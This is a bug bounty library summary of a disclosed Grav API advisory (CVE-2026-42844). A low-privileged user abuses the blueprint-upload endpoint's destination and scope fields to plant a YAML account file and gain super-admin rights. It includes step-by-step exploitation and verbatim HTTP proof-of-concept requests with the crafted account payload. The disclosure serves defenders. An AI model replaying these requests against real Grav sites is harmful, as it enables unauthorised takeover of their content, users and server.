# Low-privileged Grav API users can create super-admin accounts via blueprint-upload

Low-privileged Grav API user with media write uploads a YAML account file into user/accounts/ via blueprint-upload, creating a super-admin account.

- Payout: Research
- Severity: high
- Program: Grav
- Found by: 0d000721999
- Disclosed: 2026-05-06
- CVE: CVE-2026-42844
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-6xx2-m8wv-756h
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6xx2-m8wv-756h
- Tags: area:web domain:api domain:web impact:integrity impact:privesc kind:research platform:ghsa sev:high technique:source-review vuln:access-control vuln:file-upload vuln:path-traversal vuln:privilege-escalation

**Target:** /api/v1/blueprint-upload endpoint (Grav API plugin)
**Root cause:** BlueprintUploadController accepts caller-controlled `destination` and `scope` values and resolves them into the final filesystem write path without restricting writes to user/accounts/ or blocking YAML account files.
**Steps:**
1. Authenticate as low-privileged user via `POST /api/v1/auth/token` with `{"username":"uploader","password":"Upload123A"}` to get UPLOADER_TOKEN.
2. POST multipart to `/api/v1/blueprint-upload` with `X-API-Token: <UPLOADER_TOKEN>`, fields `destination=self@:`, `scope=users/anything`, and file `pwned.yaml` containing `password: Passw0rd!123` and `access: {api: {super: true}}`.
3. Response returns `path: user/accounts/pwned.yaml`.
4. Log in as `pwned` via `/api/v1/auth/token` with the planted password; response shows `super_admin: true`.
5. Call `GET /api/v1/system/info` with PWNED_TOKEN to confirm privileged access.
**How found:** Code review of the blueprint upload flow (ApiRouter.php, BlueprintUploadController.php) revealed caller-controlled destination/scope resolving to user/accounts/ with no YAML blocking.
**Exploitation:** Attacker with only `api.media.write` uploads a crafted account YAML into the shared accounts directory, then authenticates as that account to obtain api.super privileges and full CMS API control.
**Escalation:** Super-admin API access enables content/config modification, user management, plugin/theme install, and potential chaining to server-side code execution via plugins or writable template paths.
**Insight:** When an upload endpoint takes a `destination`/`scope` pair, trace how they combine into the final path; a `self@:` style token plus a scope like `users/anything` can collapse to a sensitive shared directory. Also check whether the app auto-loads files (account YAML) from that directory.

## Proof of concept (copied exactly from the original report)

**Blueprint-upload request writing super-admin account YAML**

```
POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01
Connection: close

------CodexBoundaryF01
Content-Disposition: form-data; name="destination"

self@:
------CodexBoundaryF01
Content-Disposition: form-data; name="scope"

users/anything
------CodexBoundaryF01
Content-Disposition: form-data; name="file"; filename="pwned.yaml"
Content-Type: text/yaml

email: attacker@example.com
fullname: attacker
title: Site Administrator
state: enabled
password: Passw0rd!123
access:
  site:
    login: true
  api:
    super: true
------CodexBoundaryF01--
```

**Login as newly created super-admin account**

```
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"pwned","password":"Passw0rd!123"}

Expected result:

{
  "data": {
    "user": {
      "username": "pwned",
      "super_admin": true
```

**Privileged system info request with pwned token**

```
GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <PWNED_TOKEN>
Connection: close
```

